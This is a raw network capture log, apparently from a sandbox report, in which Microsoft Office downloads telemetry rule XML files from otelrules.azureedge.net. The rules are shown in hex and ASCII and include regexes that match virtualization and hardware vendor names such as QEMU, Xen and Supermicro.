2024-11-02 06:16:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:06 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a77738ad-c01e-0066-3708-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061606Z-16ccfc49897b872mhC1DFWqtb000000001q00000000061nw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:06 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	63780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:06 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:06 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 489be2eb-a01e-0070-7b32-2c573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061606Z-176bd8f9bc59kq6hhC1DFWrs8000000001tg000000001mzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:06 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	63781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:06 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:06 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 39dce960-f01e-0085-6108-2c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061606Z-16ccfc498979lfwnhC1DFW56w800000001x00000000003fr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:07 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	63782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:07 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:07 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 4e409c6c-b01e-003d-22c3-2bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061607Z-16ccfc498979nn5nhC1DFWk16800000001r000000000fhtt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:07 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	63783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:07 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: fd45401a-201e-005d-6808-2cafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061607Z-16ccfc49897ht4f6hC1DFWwe7g00000001gg000000009q0a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	63784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:07 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:07 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 7134e14c-501e-0078-0508-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061607Z-16ccfc49897wlhjjhC1DFWsx6c00000001r0000000003zmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:07 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	63785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:07 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:07 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 5d06de89-b01e-0084-7008-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061607Z-16ccfc49897hrp7xhC1DFW7ud400000001n000000000bven x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:07 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	63786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:07 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 44d502e9-701e-000d-5c08-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061607Z-16dc884887bj94q5hC1DFW11e400000001g000000000b9yg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	63788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:08 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:08 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 897845c9-601e-000d-5428-2c2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061608Z-r159446fcd7nszvrhC1DFW2d0g000000012g0000000006g7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:08 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	63789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:08 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38f7f1e0-301e-006e-2f08-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061608Z-16ccfc49897jxxn9hC1DFWexyc00000001qg000000000c24 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	63790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:08 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 35c285af-301e-0051-5b08-2c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061608Z-16ccfc49897kh956hC1DFW2afc00000001r000000000fvuy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	63791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:08 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:08 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: c6a001d5-701e-0050-1608-2c6767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061608Z-16ccfc498979lfwnhC1DFW56w800000001vg000000003g2q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:08 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

